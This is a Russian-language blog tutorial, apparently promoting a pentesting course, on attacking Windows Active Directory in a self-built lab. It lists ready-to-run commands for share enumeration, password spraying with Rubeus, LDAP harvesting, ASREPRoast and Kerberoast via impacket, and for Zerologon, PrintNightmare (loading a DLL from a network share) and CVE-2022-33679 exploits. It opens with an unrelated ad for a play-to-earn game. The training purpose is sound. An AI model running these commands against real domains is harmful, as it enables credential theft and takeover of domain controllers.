Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Автор статьи: Александр Колесников
Вирусный аналитик
При обучении тестированию на проникновения возникает ситуация, когда необходимо от разрозненных статей и материалов переходить к полноценной процедуре исследования инфраструктуры и поиска уязвимостей. В этой статье попробуем собрать данные, которые позволят сделать набор предположений для проведения тестирования на проникновение системы Windows AD.
Тестировать гипотезы можно будет на собственной виртуальной инфраструктуре. Для развертывания инфраструктуры AD можно использовать сразу два проекта:
BadBlood
Vulnerable-AD
Для создания тестового стенда достаточно просто запустить по очереди скрипты и дождаться завершения их работы. В итоге получится инфраструктура, которую немного подзапустили, раздули до максимально неприличного формата и среди этого нам нужно найти способ как повысить свои привелегии до владельца системы. И что самое ценное - мы ничего не знаем об этой системе так как с каждым запуском конфигурация будет меняться.
Наверное даже больше чем набор гиппотез для тестирования на проникновения очень важно рабочее место, поэтому в качестве системы для тестирования на проникновение возьмем операционную систему windows 10/11 и установим на нее WSL2 подсистему. Для этого будем использовать VirtualBox образ, который предоставляется здесь. Вообще, чтобы заработала операционная система на все 100% под задачи пентеста, то можно использовать вот этот репозиторий.
Теперь подключаемся к сети, где находится контроллер домена и ищем тактику, которая нам даст возможность получить административные права.
Собирать тактики тестирования на проникновение можно 2 способами:
Пользоваться поисковиком и искать howto от исследователей
Можно воспользоваться опытом атак, которые проводились на реальных системах
Одна из баз знаний, которая старается систематизировать знания о реальных примерах атак на информационные системы это MITRE ATT&CK. Для удобства, все атаки систематизированы по платформе и этапу проведения атаки.
Из-за особенности проведения тестирования на проникновение использовать все данные подряд нет нужды, поэтому можно просто выбирать те действия, которые наиболее точно подходят под наши условия проведения тестирования на проникновения. Попробуем собрать эти данные для тестирования внутри сети, когда у пользователя есть минимальный доступ, либо просто подключение к локальной сети.
Чтобы не теряться в таком большом объеме информации нужно помнить, что нам необходимы только основные команды и инструменты, остальное можно будет изучить и найти отдельно.
Для еще более четкого поиска данных для использования добавим условие, что атаки или действия, которые нам нужно предпринять должны затрачивать как можно меньше времени и должны максимальо использовать стандартные механизмы работы операционной системы или инфраструктуры.
В итоге, можно собрать вот такой набор тактик.
Тактики набор №1
Тактика включает в себя использование наиболее простых и хорошо изученных в сообществе атак. Они обычно выполняются либо стандартным функционалом операционной системы, либо очень древними бесплатными open source инструментами. список атак:
хранение паролей пользователей открытом виде на файловых хранилищах в ОС
атаки ASREPROASTING и KERBEROASTING
слабые пароли учетных записей пользователей:
Credential Stuffing
Password Spraying
Password Guessing
Атаки под номерами 1 и 3 могут быть выполнены без доступа к учетным записям инфраструктуры, если доступ к внутренней сети не ограничен. Атаку 1 можно произвести путем поиска шар через инструмент crackmapexec:
cme smb 192.168.56.* -u '' -p ''
В случае успеха будут найдены файловые шары, которые не требуют логина и пароля из AD, в противном случае придется сначала раздобыть любую учетку для доступа к инфраструктуре. Затем можно вернуться к команде выше и продолжить собирать данные о системах.
Атака под номером 3 может быть реализована путем подготовки набора логинов пользователей, которые находятся в сети и списка наиболее популярных паролей. Сами действия с перебором паролей можно выполнить с помощью вот этой утилиты. Для конкретных пользователей:
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
Либо можно просто по всем пользователям в инфраструктуре:
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
Атака под номером 1 реализуется путем сбора данных об учетных записях в системе, обычно это выполняется через протокол LDAP, единственным препятствием к этому может стать отсутствие возможности анонимного подключения к сереверу. А сам сбор можно вести большим спектром инструментов, один из них это ldapsearch.
ldapsearch -x -b "dc=lab,dc=com" "*" -h 192.168.56.10
Обычное место, где может оказаться пароль это поле данных descryption.
Атаки под номером 2 могут быть реализованы только в случае нахождения правильной пары для пользователя в AD, но их выполнять может быть намного проще. В некоторых случаях можно даже не отличить сами атаки, реализуются они за счет использования инструментов Rubeus или impacket:
#ASREPROAST
python GetNPUsers.py lab.com/testUser:123123123 -request
#KERBEROAST
python GetUserSPNs.py lab.com/testUser:123123123 -outputfile hash.txt
Так же беглым поискам по баще можно набрать и более продвинутые техники и подходы к реализации атак на инфраструктуру AD.
Тактики набор №2
Более сложные действия, которые могут потребовать особых исходных условий, но так же являются достаточно популярными и быстрыми. Речь идет о эксплойтах, которые максимально быстро проводят атаку и позволяют получить админа.
Zerologon
PrinterNightmare
Coerced methods
CVE-2022-33679
Все перечисленные эксплойты являются либо способом старта механизма аутентификации, либо способом получения доступа к пользовательским учетным записям без предоставления валидной пары логина и пароля.
Атака под номером 1 должна выполняться с особенным вниманием, применение её в продакшене может повлесь выход из строя контроллера домена. Атака менет пароль от учетной записи машины котроллера домена, поэтому нужно либо восстанавливать его, либо выбирать в качестве чели атаки менне привелегированного пользователя в системе. Работает скрипт достаточно просто:
cve-2020-1472-exploit.py -n DC1 -t 192.168.56.10
Атака под номером 2 использует в качестве основного вектора - функционал, который заложен в работу сервиса печати. Если не установлен патч и сервис доступен в сети, то можно заставить сервис загрузить исполняемый файл из указанного места. Атака требует, чтобы на системе атакующего или на файловой шаре в сети оказался тот самый файл, с которым будет работать эксплойт.
.\PrintNightmare.exe 192.168.56.10 \\192.168.56.12\test\MyExploit.dll testUser 123123123
Атака под номером 4 является просто модицикацией KRBEROASTING атаки и будет работать только в случае, если у пользователя включена неограниченная делегация в учетной записи. Работает так же просто:
CVE-2022-33079.py lab.com/testUser DC1
После успешного выполнения эксплойта в распоряжении пользователя оказывается ticket пользователя для которого был запущен скрипт.
Последняя атака под номером 3 является по сути инструментом, который может помочь, если для проведения каких-либо активных действий требуется, чтобы пользователь начал взаимодействие с системой атакующего. Это может быть полезно при Relay атаках.
Сбор этого набора потребовал более пристального изучения примеров действий, которые выполняют злоумышленники.
Вот так используя базу MITRE ATT&CK можно собрать набор тактик и действий, которые могут помочь начать процесс тестирования на проникновение.
В качестве самостоятельной работы читателю предлагается найти способы атак на систему, при которых производится так называемое "Боковое перемещение".
В завершение приглашаю всех на бесплатный урок где мы изучим основные наборы привилегий, которые позволяют проводить атаки на AD.
Зарегистрироваться на бесплатный урок